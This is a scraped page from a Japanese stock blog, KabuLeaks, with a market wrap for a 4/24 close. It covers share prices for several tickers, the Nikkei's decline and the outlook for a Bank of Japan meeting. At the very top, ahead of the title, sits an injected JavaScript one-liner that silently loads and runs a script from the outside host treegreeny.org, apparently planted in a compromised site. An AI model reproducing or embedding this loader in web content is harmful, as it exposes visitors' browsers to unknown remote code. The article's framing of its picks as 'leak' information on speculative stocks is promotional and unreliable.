;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【4/24 大引け】|【KabuLeaks 〜株リークス〜】
仕手株

仕手株・ファンド介入リーク情報【4/24 大引け】

【9984】ソフトバンク 7,747円 +39 (+0.5%)

【8202】ラオックス 368円 +20 (+5.74%)

【6040】日本スキー場開発 4,880円 +300 (+6.55%)

【6031】サイジニア 9,820円 +630 (+6.85%)

本日の日経平均株価は167円安と4日ぶり反落。直近の急ピッチな上昇から目先の高値警戒感があったほか、GW間近、週末要因などもあり利益確定売り優勢。後張り入り直後は日銀によるETF買いが意識され下げ渋る場面もみれたものの買いは続かず。ただ、心理的節目である2万円台をしっかり維持し本日の取引を終えた。業種別では、鉱業、石油・石炭製品、繊維製品が上昇率上位。一方、空運業、その他金融業、不動産業が下落率上位となった。

個別では、後場の取引時間中に上方修正の発表から【2464】ビジネス・ブレークスルーが急伸ストップ高となったほか、同じく上方修正発表の【1776】三井住建道路が大幅上昇。日経平均軟調、主力一服の流れから直近IPOや直近材料株に資金流入【3909】ショーケース・ティービー、【7997】くろがね工作所など後場一段高。また、インバウンド関連の一角、連日注目銘柄としても挙げている【8202】ラオックス、【9723】京都ホテル、【2780】コメ兵、【2736】サダマツなども堅調に推移した。

来週は国内企業の決算が本格化するほか、一番の注目、日銀会合、そして引け後の黒田日銀総裁会見、米景気指標の見極めから様子見気分が強まりそうだ。物色の流れとしては本日同様に材料系の中小型株や直近IPOに短期資金、値幅取りメインの相場展開となる可能性が高いとみる。